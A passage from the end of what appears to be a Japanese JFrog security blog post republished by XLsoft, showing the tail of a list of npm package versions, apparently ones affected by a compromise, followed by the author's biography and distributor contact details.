react-complaint-image@0.0.32
react-complaint-image@0.0.33
react-complaint-image@0.0.34
react-jsonschema-form-conditionals@0.3.18
react-jsonschema-form-conditionals@0.3.19
react-jsonschema-form-conditionals@0.3.20
react-jsonschema-form-extras@1.0.1
react-jsonschema-form-extras@1.0.2
react-jsonschema-form-extras@1.0.3
react-jsonschema-rxnt-extras@0.4.6
react-jsonschema-rxnt-extras@0.4.7
react-jsonschema-rxnt-extras@0.4.8
react-jsonschema-rxnt-extras@0.4.9
remark-preset-lint-crowdstrike@4.0.1
remark-preset-lint-crowdstrike@4.0.2
rxnt-authentication@0.0.3
rxnt-authentication@0.0.4
rxnt-authentication@0.0.5
rxnt-healthchecks-nestjs@1.0.2
rxnt-healthchecks-nestjs@1.0.3
rxnt-healthchecks-nestjs@1.0.4
rxnt-kue@1.0.4
rxnt-kue@1.0.5
rxnt-kue@1.0.6
swc-plugin-component-annotate@1.9.1
tbssnch@1.0.2
teselagen-interval-tree@1.1.2
tg-client-query-builder@2.14.4
tg-client-query-builder@2.14.5
tg-redbird@1.3.1
tg-redbird@1.3.2
tg-seq-gen@1.0.10
tg-seq-gen@1.0.9
thangved-react-grid@1.0.3
ts-gaussian@3.0.5
ts-imports@1.0.1
ts-imports@1.0.2
tvi-cli@0.1.5
ve-bamreader@0.2.6
ve-bamreader@0.2.7
ve-editor@1.0.1
ve-editor@1.0.2
verror-extra@6.0.1
voip-callkit@1.0.2
voip-callkit@1.0.3
wdio-web-reporter@0.1.3
yargs-help-output@5.0.3
yoo-styles@6.0.326

この記事の著者 ~ Alex Wang (王 子龍) JFrog Japan

戦略コンサル時代、IT、自動車、製造などの業界に対して、アジャイル、DevOps のコーチとして開発環境構築、 CICD 構築などのプロジェクトをリードしてきました。現在、DevSecOps や海外最新のソフトウェア開発セキュリティ対策を日本への展開/普及を行っています。

Linked-in: https://www.linkedin.com/in/alex-wang-662290150/

  • EXIN DevOps Professional 
  • PMI Project management Professional
  • PCI・DSS Japan member
  • Aoyama Gakuin University MBA holder

JFrog に関するご質問は、日本正規代理店であるエクセルソフトまでお問い合わせください。


本記事は JFrog 社の許可を得て作成、公開しています。

世界の人気ソフトウェアを提供するエクセルソフトのメールニュース登録はこちらから。

タイトルとURLをコピーしました